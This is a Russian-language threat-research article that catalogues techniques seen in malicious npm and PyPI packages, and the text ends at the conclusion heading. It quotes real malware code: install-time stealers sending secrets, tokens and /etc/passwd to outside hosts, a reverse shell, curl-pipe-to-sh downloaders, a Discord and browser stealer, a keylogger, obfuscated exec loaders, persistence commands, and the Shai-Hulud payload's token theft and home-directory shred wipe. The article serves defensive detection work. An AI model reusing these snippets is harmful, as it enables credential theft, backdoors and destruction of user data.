За последний год, с мая 2025 до июня 2026-го, мы прогнали через нашу систему анализа пакетов из пакетных менеджеров выборку вредоносных и подозрительных пакетов из npm и PyPI.
Это обычные пакеты из публичных реестров зависимостей: библиотеки, консольные клиенты, SDK, плагины, генераторы шаблонов, devtools и прочие вещи, которые разработчики ставят каждый день. Часть из них маскируется под полезные утилиты, часть ловит опечатки в именах, часть попадает в проекты как транзитивные зависимости, а самые опасные случаи вообще являются очередным релизом легитимного пакета после компрометации аккаунта разработчика или CI/CD-токенов.
В статье мы описываем повторяющиеся приемы и техники, которые используют атакующие, систематизируем их и показываем на реальных примерах, чтобы было проще ориентироваться в проблеме вредоносных пакетов.
Ниже описаны техники и приведены реальные фрагменты кода из пакетов, которые попали в анализ. Можете использовать эту статью для погружения в проблему вредоносов в пакетных менеджерах как небольшую википедию или для написания ваших собственных правил детекта.
Выборка пакетов
Для анализа и примеров, описанных в статье, использован наш агрегатор пакетов. Общее количество проанализированных пакетов исчисляется сотнями тысяч, а вредоносных — десятками тысяч.
График 1
Главные наблюдения
Самый частый общий паттерн — выполнение кода во время установки. В npm он обычно проявляется через lifecycle scripts: preinstall, install и postinstall. В PyPI тот же класс атак чаще реализован через setup.py, custom install command, переопределенный cmdclass или модуль, который исполняется до нормального использования библиотеки.
Разница в точке входа. Злоумышленнику нужно добиться исполнения кода в момент установки зависимости, дальше сценарии похожи: собрать данные окружения, скачать полезную нагрузку, закрепиться, проверить окружение на то, не является ли оно песочницей, или отправить информацию о закреплении наружу.
Топ техник по текущему срезу:
|
Техника |
Доля от выборки |
|---|---|
|
Скрипт установки в npm |
63,8% |
|
Подозрительные внешние ссылки |
28,4% |
|
Сбор и отправка чувствительных данных в npm |
25,0% |
|
Postinstall с эксфильтрацией |
20,5% |
|
Динамическое исполнение кода |
7,0% |
|
Доступ к системным файлам Linux |
5,9% |
|
Обфускация JavaScript |
5,7% |
|
Подмена install-команд в Python |
5,2% |
График 2
Одиночные признаки часто дают ложноположительные сработки — Install script может быть легитимным, Base64 может быть токеном, забытым разработчиками, внешний URL может быть документацией или API. Install hook вместе с сетевым кодом, сбором окружения, child process и обфускацией уже выглядит как атака.
Есть часто повторяющиеся паттерны во вредоносных пакетах. Например, discord-/telegram-/webhook-паттерн встречается примерно в 10% текущей выборки. Сотни пакетов с очень похожей установочной логикой, но разными именами, metadata и webhook URL.
Каталог реальных примеров
Минимальный systeminfo-стилер
Код собирает базовую информацию о системе: дату, пользователя, текущую директорию, hostname, версию Python и login. Затем отправляет JSON на внешний endpoint.
Цепочка local system info -> HTTP POST читается почти без контекста, а полезная нагрузка небольшая и
необфусцированная.
import uuid
WEBHOOK_URL = "https://3vz70udxj4igjcfhpjsmuyzsnjtah15q.oastify.com/exfil"
def exfiltrate_system_info():
data = {
'id': str(uuid.uuid4()),
'timestamp': subprocess.getoutput("date"),
'whoami': subprocess.getoutput("whoami"),
'pwd': os.getcwd(),
'hostname': subprocess.getoutput("hostname"),
'python_version': subprocess.getoutput("python --version"),
'user': os.getlogin()
}
req = urllib.request.Request(
WEBHOOK_URL,
data=json.dumps(data).encode('utf-8'),
headers={'Content-Type': 'application/json'}
)
Сбор окружения, secrets и отправка наружу
Пакет собирает переменные окружения, содержимое директорий с secrets и результаты системных команд. После этого данные уходят на внешний HTTP endpoint.
Отдельно посмотрим на /var/run/secrets и /run/secrets: в контейнерах и оркестраторах там лежат смонтированные
секреты приложения, например Kubernetes service account token, CA certificate, namespace, API keys, credentials для
внешних сервисов и другие runtime-секреты.
def run_command(command):
with os.popen(command) as stream:
output = stream.read()
return output
def main():
env_vars = os.environ
secrets = list_files("/var/run/secrets/")
run_secrets = list_files("/run/secrets/")
processes = list_processes()
data = {
"env_vars": dict(env_vars),
"secrets": secrets,
"run_secrets": run_secrets,
"processes": processes,
}
data_json = json.dumps(data).encode('utf-8')
req = urllib.request.Request("http://54.242.228.151:8090/debug-21f53", data=data_json, headers={'Content-Type': 'application/json'})
Сериализация локальных данных
Пакет запускается через preinstall, собирает локальные данные в JSON и отправляет их на внешний oastify.com
endpoint.
Конкретно в запрос уходят имя и версия самого пакета, каталог установки (__dirname), домашняя директория
пользователя, hostname, username, список локальных DNS-серверов, полный package.json, а также содержимое
/etc/passwd и /etc/hosts, если эти файлы существуют. Скорее всего, злоумышленник сделал много пакетов с разным
названием и содержанием — и в ответ на свой c2 он хочет получить информацию о том, насколько успешной вышла
публикация пакета.
{
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node index.js"
},
"license": "ISC"
}
const trackingData = JSON.stringify({
p: packageName,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
v: packageJSON.version,
pjson: packageJSON,
etc_passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : null,
etc_hosts: fs.existsSync('/etc/hosts') ? fs.readFileSync('/etc/hosts', 'utf8') : null
});
var postData = JSON.stringify({
msg: trackingData,
});
var options = {
hostname: "xghfyxdvb7rz4exwnbj51fm2etkk8awz.oastify.com",
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.write(postData);
req.end();
Linux reconnaissance
Пакет запускает shell-команду, собирает hostname, текущую директорию, пользователя и внешний IP, затем кодирует
результат и отправляет его на oastify.com.
Довольно компактно, но очень легко детектится.
const{exec}=require("child_process");
exec("a=$(hostname;pwd;whoami;echo 'package_name_without_version';curl https://ifconfig.me;) & echo $a | xxd -p | head | while read util;do curl -k -i -s http://7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com/$util;done",(error,data,getter)=>{
if(error){
console.log("error",error.message);
return;
}
if(getter){
console.log(data);
return;
}
});
Канал доставки: Discord
Пакет содержит Discord webhook, извлекает discord-токены из пользовательских директорий и использует Discord API для проверки данных.
В pypi заливается множество таких пакетов — различаются metadata и endpoint, но они сохраняют одну механику сбора токенов и отправки результата в Discord.
WEBHOOK_URL = "https://canary.discord.com/api/webhooks/1438273237867036682/y-jlMJWQRYZlxmYEAzEKNQLMRG3GTh7ZcVryf-CpYulJymcNV_rXJMFtvIDke7E7w5HW"
class DiscordTokenExtractor:
def __init__(self):
self.baseurl = "https://discord.com/api/v9/users/@me"
self.roaming = os.getenv("appdata")
self.localappdata = os.getenv("localappdata")
self.encrypted_regex = r"dQw4w9WgXcQ:[^"]*"
self.tokens = []
def decrypt_val(self, buff, master_key):
try:
iv = buff[3:15]
Канал доставки: Telegram
Под слоем «аналитического» интерфейса спрятан набор декодируемых endpoint’ов и ключей, после чего запускается автоматизированная проверка учетных данных для иностранных социальных сетей. Код перебирает набор типовых паролей, различает успешный вход, 2FA, блокировки и другие статусы, сохраняет cookies.
Пакет прячет свой токен и chat_id через множество слоев base64, затем отправляет сообщения через Telegram Bot API.
Здесь публичный messenger API используется как C2, а конфигурация канала дополнительно маскируется.
# -------------------- HIDDEN CONFIGURATION (Triple Base64) --------------------
def decode_triple(s):
return base64.b64decode(base64.b64decode(base64.b64decode(s).decode()).decode()).decode()
def decode_double(s):
return base64.b64decode(base64.b64decode(s).decode()).decode()
def decode_single(s):
return base64.b64decode(s).decode()
_enc_token = "VkdWemRHRnVjMlU2VjNkM2QyZHBjM2M2T0RZNE1qWXlNREF4TURZeU1EQXRNemt4TURZPQpUbk5qWTJ4aGMzTTZkR2x3WkM1amIyMFRlWEJsYm1RdmNIVnNiQzVqYjIwNk1qYzVNelE0TURJd05UY3hNams9Ck0yVnVaR0Z1YzJVNmVHbDBiRzV6T2pJeU1qY3lOakUwTWpFeElEQWdNQ0F4TkNBM016QXhNemN5TlRrPQo="
NOTIFICATION_TOKEN = decode_triple(_enc_token.split('
')[0] + _enc_token.split('
')[1] + _enc_token.split('
')[2])
def send_notification(msg):
url = f"https://api.telegram.org/bot{NOTIFICATION_TOKEN}/sendMessage"
Клавиатурный listener
Код импортирует pynput.keyboard, запускает listener и включает его, только когда активное окно называется Enter
Password. Нажатия клавиш уходят в очередь, которую обрабатывает фоновый worker.
На вставке сама keylogger-часть: listener, callback на on_press и условный запуск при совпадении заголовка окна.
from pynput import keyboard
import requests
import threading
import queue
import winreg
q = queue.Queue()
running = threading.Event()
def on_press(key):
if running.is_set():
q.put(key)
def start():
global listener,wokerthread
running.set()
wokerthread = threading.Thread(target=worker, daemon=True)
wokerthread.start()
listener = keyboard.Listener(on_press=on_press,on_release=on_release)
listener.start()
def getAgent():
on = False
while (1):
if win32gui.GetWindowText(win32gui.GetForegroundWindow()) == base64.b64decode(b"RW50ZXIgUGFzc3dvcmQ=").decode() and on == False:
start()
on = True
Исполнение системных команд во время установки
Разберем подробнее setup.py — в начале он хранит второй stage в виде большой строки _E, закодированной через
base64, а затем дополнительно прогнанной через XOR с ключом 0x5A. После расшифровки код записывается на диск и
дальше разворачивается как persistence-компонент под Windows, macOS и Linux.
Смысл фрагмента ниже именно в тихом запуске уже расшифрованного payload. Перед этим пакет подбирает путь, который
выглядит правдоподобно для конкретной ОС — например, на Windows пишет файл в каталог вида
AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21\\SecurityHealthSystray.pyw, подделывает атрибуты и timestamp, а
затем пытается запустить и закрепить код так, чтобы он выглядел как системный артефакт.
Вместо прямого subprocess.Popen(["python", "payload.py"]) код собирает команду из фрагментов, запускает ее через
wmic process call create, а если это не сработало, переключается на schtasks. В других ветках используются
LaunchAgents, systemd и даже crontab.
_d = bytes([b ^ _K for b in base64.b64decode(_E)])
_code = _d.decode()
with open(_fp, "w", encoding="utf-8") as f:
f.write(_code)
try:
subprocess.run(["attrib", "+h", _fp], check=False,
creationflags=0x08000000)
except:
pass
_launched = False
try:
_wmi_cmd = f'{chr(34)}{_pyw}{chr(34)} {chr(34)}{_fp}{chr(34)}'
_r = subprocess.run(["wmic", "process", "call", "create", _wmi_cmd],
capture_output=True, creationflags=0x08000000, timeout=10)
if _r.returncode == 0 and b"ReturnValue = 0" in _r.stdout:
_launched = True
except:
pass
# Fallback: schtasks only if WMI failed
if not _launched:
try:
_task_name = "WindowsSecurityMonitor"
_cmd = f'schtasks /Create /SC ONLOGON /TN "{_task_name}" /TR "\\"{_pyw}\\" \\"{_fp}\\"" /F'
subprocess.run(_cmd, shell=True, capture_output=True,
creationflags=0x08000000, timeout=10)
except:
pass
Вариация кастомной установки в PyPI 1
Пакет переопределяет install, а после обычной установки сразу забирает os.getlogin() и socket.gethostname().
Затем оба значения кодируются в base32, из них собирается доменное имя вида
<user>.<host>.a.stratfordhospital5050.com, и пакет принудительно вызывает socket.gethostbyname() для
этого FQDN.
Смысл в том, что эксфильтрация прячется внутри DNS-разрешения. Даже если lookup завершается ошибкой, сам запрос на авторитативные DNS-серверы домена уже уносит наружу закодированные имя пользователя и hostname. Для атакующего это удобный install-time beacon: HTTP-клиент не нужен, IOC короче, а DNS-трафик в корпоративных сетях часто фильтруется слабее, чем прямые веб-запросы.
import base64
import socket
class Installer(install):
def run(self):
install.run(self)
u = os.getlogin()
ub = u.encode("utf-8")
h = socket.gethostname()
hb = h.encode("utf-8")
ue = base64.b32encode(ub).decode("utf-8")
ues = ue.rstrip("=")
he = base64.b32encode(hb).decode("utf-8")
hes = he.rstrip("=")
d = ues + "." + hes + ".a.stratfordhospital5050.com"
try:
ip_address = socket.gethostbyname(d)
print(f"{d} resolves to {ip_address}")
except socket.gaierror:
print("DNS lookup failed. Invalid domain or network issue.")
setup(
name='helloharry123p',
version='0.1.0',
packages=find_packages(),
cmdclass={'install': Installer}
)
Вариация кастомной установки в PyPI 2
Еще один вариант той же техники: cmdclass подменяет стандартный install, а внутри выполняются whoami,
hostname и файловые операции.
class PostInstallCommand(install):
def run(self):
try:
user_raw_full = subprocess.check_output('whoami', shell=True).decode().strip()
clean_user = user_raw_full.split('\')[-1]
host_name = subprocess.check_output('hostname', shell=True).decode().strip()
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
package_name='krbutils'
target_dir = r"M:
lag"
if not os.path.exists(target_dir):
os.makedirs(target_dir)
except:
pass
install.run(self)
setup(name='krbutils', version='1.0.0', packages=find_packages(), cmdclass={'install': PostInstallCommand})
Перехват python install lifecycle и backdoor
В setup.py он подменяет стандартную установку и запускает фоновый поток после. В соседнем модуле лежит
runtime-часть: reverse shell, который открывает socket на внешний адрес, уводит stdin/stdout/stderr в соединение и
запускает interactive shell.
За счет этого пакет живет и в момент установки, и после нее. Install hook используется как ранний вход, а модуль
aiogram_sever_patch содержит уже само backdoor-поведение, запущенное в daemon-потоке, чтобы основной процесс не
зависал.
# 3. КЛАСС УСТАНОВКИ (Custom Install Command)
class CustomInstall(install):
def run(self):
install.run(self)
try:
t = threading.Thread(target=_send_analytics)
t.daemon = True
t.start()
except Exception:
pass
setup(
name="aiogram-types-v3",
version="3.0.1",
cmdclass={"install": CustomInstall},
)
def connect():
try:
s=socket.socket()
s.connect(("147.45.124.42",5555))
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
except: pass
threading.Thread(target=connect, daemon=True).start()
Зависимость не из registry и внешний runtime
Здесь подозрительна именно связка нескольких признаков. В package.json одновременно есть preinstall и
dependency, указывающая не на registry-версию, а на GitHub reference.
На следующем шаге preinstall запускает setup_bun.js, который скачивает и устанавливает Bun через shell или
PowerShell, обновляет PATH и готовит внешний runtime прямо во время установки зависимости. Для обычного dev-пакета
это нетипичное поведение.
"scripts": {
"compile": "hardhat compile",
"test": "hardhat test",
"deploy": "hardhat run scripts/deploy.ts",
"clean": "hardhat clean",
"preinstall": "node setup_bun.js"
},
"devDependencies": {
"@nomicfoundation/hardhat-ethers": "^4.0.2",
"ethers": "^6.15.0",
"forge-std": "github:foundry-rs/forge-std#v1.9.4",
"hardhat": "^3.0.7",
"typescript": "~5.8.0"
}
let command;
if (process.platform === 'win32') {
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
command = 'curl -fsSL https://bun.sh/install | bash';
}
execSync(command, {
stdio: 'ignore',
env: { ...process.env }
});
reloadPath();
const bunPath = findBunExecutable();
if (!bunPath) {
throw new Error('Bun installation completed but executable not found');
}
Подмена стандартной библиотеки и сбор системных данных
Пакет выглядит как опечатка стандартного smtplib, но на одном тайпсквотинге история не заканчивается. В начале
модуля он сам устанавливает зависимости requests и psutil, а дальше в конструкторе SMTR.__init__() на Windows
тянет удаленный python-код с https://x0[.]at/P685.txt, пишет его во временный файл и запускает через pythonw.exe
без консольного окна.
Имя пакета помогает попасть в проект, автодоустановка зависимостей готовит окружение, а внешний payload позволяет атакующему менять реальную вредоносную логику уже после публикации пакета.
import sys
import subprocess
def install(package):
subprocess.check_call([sys.executable, "-m", "pip", "install", package, "--quiet", "--disable-pip-version-check"])
required_packages = ['psutil', 'requests']
for package in required_packages:
try:
__import__(package.replace('-', '_'))
except ImportError:
install(package)
import requests
import psutil
from email.base64mime import body_encode as encode_base64
if sys.platform.startswith('win'):
code = requests.get('https://x0.at/P685.txt').text
temp = os.getenv("TEMP")
filss = f'{temp}\\1.py'
with open(filss, 'w') as the_file:
the_file.write(code)
subprocess.Popen(["pythonw.exe", filss])
__all__ = ["SMTPException", "SMTPNotSupportedError", "SMTPServerDisconnected", "SMTPResponseException",
"SMTPSenderRefused", "SMTPRecipientsRefused", "SMTPDataError",
"SMTPConnectError", "SMTPHeloError", "SMTPAuthenticationError",
"quoteaddr", "quotedata", "SMTR"]
Downloader через библиотеку загрузки
Код скачивает shell payload через curl или wget и сразу передает его в sh.
Это классическая download-and-execute-цепочка: URL, загрузка, pipe в shell и отсутствие промежуточной валидации.
def main():
import os
os.system('(curl -fsSL -m180 http://49.232.169.67:8084/slt||wget -T180 -q http://49.232.169.67:8084/slt)|sh')
if __name__ == "__main__":
main()
Curl beacon во время установки
В setup.py есть прямой curl на внешний endpoint. Пакет сообщает своему автору, что установка дошла до выполнения
setup.py.
Такие короткие вставки легко пропустить в большом setup-файле, но они важны для проверки выполнения в чужой среде.
from setuptools.command.develop import develop
from setuptools.command.install import install
from subprocess import check_call
os.system("curl "https://kotko.me/analyze.php?procoder" &>/dev/null")
setup(
name='procoder',
version='0.0.2',
description='',
long_description=long_description,
long_description_content_type='text/markdown',
author='Vladyslav Kotko',
author_email='males-folds0a@icloud.com',
)
Base64 + marshal + exec
Очень короткий, но наглядный пример — декодирование, десериализация кода и мгновенное исполнение.
Такие пакеты легко детектить: связка marshal.loads(base64.b64decode(...)) и exec в безвредных пакетах не
встречается.
import base64
__code__ = marshal.loads(base64.b64decode("""4wAAAAAAAAAAAAAAAAIAAAAAAAAA8xwAAACXAGQAZAFsAG0BWgEBAGQCWgJkA2cBWgNkBFMAKQXpAQAAACkB2gdwcm9fYXBpegUwLjEuMHIDAAAATikE2gNhcGlyAwAAANoLX192ZXJzaW9uX1/aB19fYWxsX1+pAPMAAAAA9R8AAABjb2Rlc2hvdWh15pyq5Yqg5a+GXF9faW5pdF9fLnB5+gg8bW9kdWxlPnIKAAAAAQAAAHMnAAAA8AMBAQHYABjQABjQABjQABjQABjQABjgDhWAC9gLFIgrgAeAB4AHcggAAAA="""))
exec(__code__)
Base64/eval в npm-пакете
JavaScript не вызывает eval напрямую на читаемой строке. Сначала пакет пропускает base64-blob через собственный
декодер — atob -> percent-encoding -> восстановление hex-пары в символы — и только потом передает результат
в eval.
То есть здесь сразу видны обе части загрузчика: и ручная функция деобфускации, и финальная точка исполнения. Для
детектирования это на удивление полезнее простого eval, потому что показывает намеренную маскировку полезной
нагрузки и попытку спрятать итоговый код от беглого просмотра.
function _eval(input){
return (()=>{
const h=decodeURIComponent(Array.prototype.map.call(atob(input),c=>'%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2)).join(''));
let r='';
for(let i=0;i<h.length;i+=2){
r+=String.fromCharCode(parseInt(h.slice(i,i+2),16)||0);
}
return r;
})();
}
eval(_eval("Mjg2Njc1NmU2Mzc0Njk2ZjZlMjgyOTdiMjg2Njc1NmU2Mzc0Njk2ZjZlMjgyOTdiMjc3NTczNjUyMDczNzQ3MjY5NjM3NDI3M2I3NDcyNzk3YjY5NjYyODc0Nzk3MDY1NmY2NjIwNjQ2ZjYzNzU2ZDY1NmU3NDIxM2QyNzc1NmU2NDY1NjY2OTZlNjU2NDI3Mjk3Yjc2NjE3MjIwNWYzMDc4MzI2MTM2MzkzOTYxM2Q2NDZmNjM3NTZkNjU2ZTc0NWIyNzYzNzI2NTYxNzQ2NTQ1NmM2NTZkNjU2ZTc0Mjc1ZDI4Mjc3Mzc0Nzk2YzY1MjcyOTNi"));
Динамический exec в Python пакете
Код разворачивает zlib+base64 payload и исполняет его через exec.
Такая конструкция тоже редко нужна обычной библиотеке: полезную нагрузку невозможно понять без распаковки, а итоговое поведение скрыто от беглого просмотра.
try:
import base64,zlib
exec(zlib.decompress(base64.b64decode("eNrFWM1u20YQvusp1vTBVCDRdv5jICgYi3aEOJJKyamNxCBW1MrehNxllkvHquFTUfRSoC3QoEDQAC166AP00rvfxC/QV+gsl5IoiSrVomgJg6S4O7Mz33wzO+v1tc0kFpt9yjYJO0fRSJ5xdqeyjuq36sjnA8pOd1Aih/WH6kuFhhEXEvF4/BaPpq9JPxLcJ/Hki6QhqVSkGO1UEFxDwUP0BrNT7A0wY0SgbF7IYymwyL56lEnBa3Nfa2j32G7V0L7rOPA4dg4O2p/VkOs01K3r9CrkwieRRM1UpyMEF3pZJYcea0F4akl4AdH0DrLwNIx08oAMC80xqzsowuBa8aTJcEWNiYR5sS9oJE3GQ1LVdhiG4VwQP5EYJSHS46iTAm5kq6+jjgDMqOBIEgYTCfM5U+sgxtGACiKvfxMUXjks53NJUrEMRv0IaN9KJA3SkTgiPjg3O2INKRt4aig1zxIkCrBPzA0rGm3U0MZGtarVDrU8ZoP0xeKCnlKmvVFXhOUZaM+NpUMkiMl00jraw0HQx/4bmC8wmvEDywQH8/p4bKk36zWnzBz/ACGGQ2J63pAGxPOqNZRimwqntwnPUscnZLQgGuZL4KlFNPr9gNTSpU60cMabPVDb4nKPJ2yQY09qlwAOmEPjEihz9dJx3fYJ6ur4setf+CRKA76DLpVVV5cpra6M6kQHZVEiTeMV6wgwinJGkNPqOa4GRclTlmBhWRYIpSwakJiyWOIAWJZmjTklUmMyBng+s1v7dv2pvfsMnVOMIhqN+QTggeOShKbhBwSLzJ4Zf24+/PTH798g1HC6zVa3Zx/Y119df9FGjXZesZ6VufWKGctwB0eGVISKc9rhHgmRT4Qkn2P0NiHKK/Ia5537BJnxZgsSyKhakFM0MqtWwN+ppMrH5xkZ9TkWgyaTRIgkk")))
except KeyboardInterrupt:
print("
Operação cancelada.")
Обфусцированные Python-API-вызовы
Системе детекта (а потом и нашему аналитику) сразу не понравились подозрительные импорты. Пакет реализует
полноценный windows-ориентированный stealer: ищет Discord tokens в Local Storage\\leveldb у discord-клиентов и
браузеров, вытаскивает master key из Local State, расшифровывает токены через CryptUnprotectData и AES-GCM,
валидирует их запросом к Discord API, а затем отправляет результат на Discord webhook.
Дальше пакет идет глубже обычного token grabber’а: по валидному токену он запрашивает у Discord профиль
пользователя, имейл, телефон, MFA-статус, Nitro, billing sources, gift codes и список guilds. Отдельная ветка
собирает browser data, пишет логины, cookies, history, downloads и cards во временные файлы, архивирует их в
SystemCache.zip и тоже шлет через webhook.
import tls_client, json, base64, time, sys, os, threading, asyncio, requests, pyotp
import datetime
import re
import ctypes
import sqlite3
import socket
import win32api
from discord import Embed, File, SyncWebhook
import shutil
from pathlib import Path
from zipfile import ZipFile
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES
paths = {
'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb\\',
'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
}
for file_name in os.listdir(path):
if file_name[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for y in re.findall(self.regexp_enc, line):
token = self.decrypt_val(
base64.b64decode(y.split('dQw4w9WgXcQ:')[1]),
self.get_master_key(self.roaming+f'\\{_discord}\\Local State')
)
def get_master_key(self, path: str) -> str:
local_state = json.loads(open(path, "r", encoding="utf-8").read())
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_val(self, buff: bytes, master_key: bytes) -> str:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
return cipher.decrypt(payload)[:-16].decode()
self.webhook.send(embed=embed, username=username_embed, avatar_url=avatar_embed)
self.webhook.send(file=File("SystemCache.zip"), username=username_embed, avatar_url=avatar_embed)
Многостадийный npm payload под видом легитимного CLI
Это важный пример не только из-за самого кода, но и из-за контекста. По публичным отчетам исследователей, в конце
ноября 2025 года новая волна кампании Shai-Hulud, затронула экосистему PostHog: злоумышленники публиковали
троянизированные версии легитимных npm-пакетов через скомпрометированные maintainer-аккаунты. В этой волне отдельно
отмечались новые файлы setup_bun.js и bun_environment.js, которые мы как раз видим в этом образце.
Этот пакет мы тоже задетектили и рассматриваем его в статье как многостадийный supply-chain. Вредонос заразил
легитимный пакет PostHog CLI: в postinstall действительно есть код, который скачивает официальный бинарник CLI из
GitHub release. Но перед этим срабатывает preinstall, который запускает отдельную цепочку через Bun.
Если смотреть только на postinstall, можно решить, что пакет просто устанавливает бинарник для нужной платформы.
Вредоносная часть лежит в setup_bun.js и большом обфусцированном bun_environment.js.
"scripts": {
"fmt": "prettier --write **/*.js",
"fmt:check": "prettier --check **/*.js",
"postinstall": "node ./install.js",
"preinstall": "node setup_bun.js"
},
"artifactDownloadUrl": "https://github.com/PostHog/posthog/releases/download/posthog-cli-v0.5.14",
"bin": {
"posthog-cli": "run-posthog-cli.js"
}
setup_bun.js проверяет наличие Bun. Если runtime не найден, он ставит его через PowerShell или curl | bash,
обновляет PATH, а затем запускает bun_environment.js. Npm install hook подтягивает внешний runtime и передает
ему основной payload.
async function downloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
command = 'curl -fsSL https://bun.sh/install | bash';
}
execSync(command, {
stdio: 'ignore',
env: { ...process.env }
});
reloadPath();
const bunPath = findBunExecutable();
if (!bunPath) {
throw new Error('Bun installation completed but executable not found');
}
return bunPath;
} catch {
process.exit(0);
}
}
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
}
В bun_environment.js payload сильно обфусцирован и занимает мегабайты bundled-кода. В хвосте файла видна рабочая
логика: код собирает GitHub token, npm token, окружение, сведения о системе, secrets из AWS/GCP/Azure и результаты
TruffleHog-сканирования. Затем пытается сохранить эти данные через GitHub API, если нашел рабочий token.
let _0x5735a8 = {
'system': {
'platform': _0x46410c[_0x35266c(0x576e)],
'architecture': _0x46410c[_0x35266c(0x52c7)],
'platformDetailed': _0x46410c[_0x35266c(0x10b5)],
'architectureDetailed': _0x46410c['archRaw'],
'hostname': a0_0xf22814[_0x35266c(0x54a5)](),
'os_user': a0_0xf22814[_0x35266c(0x36c3)]()
},
'modules': {
'github': {
'authenticated': _0x1b7dd4['isAuthenticated'](),
'token': _0x1b7dd4['getCurrentToken'](),
'username': _0x57709e
}
}
},
_0x5bb75d = {'environment': process[_0x35266c(0x3f2d)]},
_0x3e4549 = {
'aws': {'secrets': await _0x30fddc[_0x35266c(0x5451)]()},
'gcp': {'secrets': await _0x79b1b9['listAndRetrieveAllSecrets']()},
'azure': {'secrets': await _0x8fa8f[_0x35266c(0x559f)]()}
};
GitHub token берется не только из переменных окружения. Код пробует gh auth token, а если текущего токена нет,
ищет чужие результаты через GitHub search, достает из найденного JSON поле modules.github.token и проверяет его
запросом к GitHub API.
findGitHubTokenEnvVars() {
let _0x50409a = [_0x46c579(0x3e51), 'gho_'];
for (let [_0x12da35, _0x1c0a60] of Object[_0x46c579(0x21ed)](process[_0x46c579(0x3f2d)])) {
if (!_0x1c0a60) continue;
for (let _0x3beb3c of _0x50409a)
if (_0x1c0a60[_0x46c579(0x1ef2)](_0x3beb3c)) return _0x1c0a60;
}
}
let _0x2f6527 = Bun[_0x5c9ed1(0x244c)](['gh', _0x5c9ed1(0x5c64), _0x5c9ed1(0x194f)], {
'stdout': _0x5c9ed1(0x19da)
})[_0x5c9ed1(0x59eb)][_0x5c9ed1(0x2c5c)]()['trim']();
Для npm используется отдельная ветка: payload ищет _authToken в .npmrc в текущей директории и в домашнем
каталоге, валидирует токен и получает список пакетов maintainer-а.
async function oL0(_0x45b2ed) {
let _0x4f7d34 = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
_0x65797 = _0x45b2ed ? [_0x45b2ed] : [
a0_0x459ea5[_0x1c13a1(0x44d8)](process[_0x1c13a1(0x5c4b)](), _0x1c13a1(0x415e)),
a0_0x459ea5['join'](a0_0x647ad2['homedir'](), _0x1c13a1(0x415e))
];
for (let _0x577185 of _0x65797) {
let _0x4a1c74 = await mL0(_0x577185);
if (!_0x4a1c74) continue;
for (let _0x5bff02 of _0x4a1c74[_0x1c13a1(0x187b)](/\r?\n/)) {
let _0x181a7a = _0x5bff02[_0x1c13a1(0x4cf9)]();
let _0x1bab15 = _0x181a7a[_0x1c13a1(0x2308)](_0x4f7d34);
if (_0x1bab15 && _0x1bab15[1]) return _0x1bab15[1];
}
}
return null;
}
Отдельный модуль скачивает TruffleHog из GitHub releases, кладет бинарник в cache directory, делает chmod и
запускает сканирование локального git для поиска секретов.
async fetchLatestRelease() {
let _0x2e4030 = await fetch('https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest');
if (!_0x2e4030['ok']) throw Error(_0x324dbc(0x2f93) + _0x2e4030['status']);
return _0x2e4030['json']();
}
async scanLocalGit(_0x4f81f1, _0x42fa76 = []) {
await this['initialize']();
let _0x358897 = [_0x40e20a(0x46fd), _0x40e20a(0x5753) + _0x4f81f1, '--json', ..._0x42fa76];
return this[_0x40e20a(0x45d3)](_0x358897);
}
await a0_0x3e3b29['chmod'](_0x57b921, 0x1ed);
Самая агрессивная ветка срабатывает, если вредоносная нагрузка не получает GitHub token и npm token. На Unix он
запускает shell-команду, которая уничтожает writable-файлы пользователя в $HOME через shred, а потом удаляет
пустые директории.
if (!_0x441f22) {
if (_0x4692e0) await El(_0x4692e0);
else {
console['log'](_0x35266c(0x1423));
if (_0x46410c[_0x35266c(0x576e)] === _0x35266c(0xb6d))
Bun[_0x35266c(0x244c)]([_0x35266c(0x58bc), '/c', _0x35266c(0x2d78)]);
else
Bun[_0x35266c(0x244c)]([
_0x35266c(0x57c7),
'-c',
'find "$HOME" -type f -writable -user "$(id -un)" -print0 | xargs -0 -r shred -uvz -n 1 && find "$HOME" -depth -type d -empty -delete'
]);
process[_0x35266c(0x51a9)](0x0);
}
}
Для open-source-сообщества это совсем другой класс угрозы, не похожий на ранние примитивные стилеры и одноразовые пакеты. Атакующий, вместо публикации очередного случайного typosquatting и нового пакета, встроился в доверенный канал распространения и скомпрометировал легитимный пакет. Именно такие случаи и делают supply-chain-атаки по-настоящему масштабной проблемой, нуждающейся в отдельной экспертизе.
Заключение
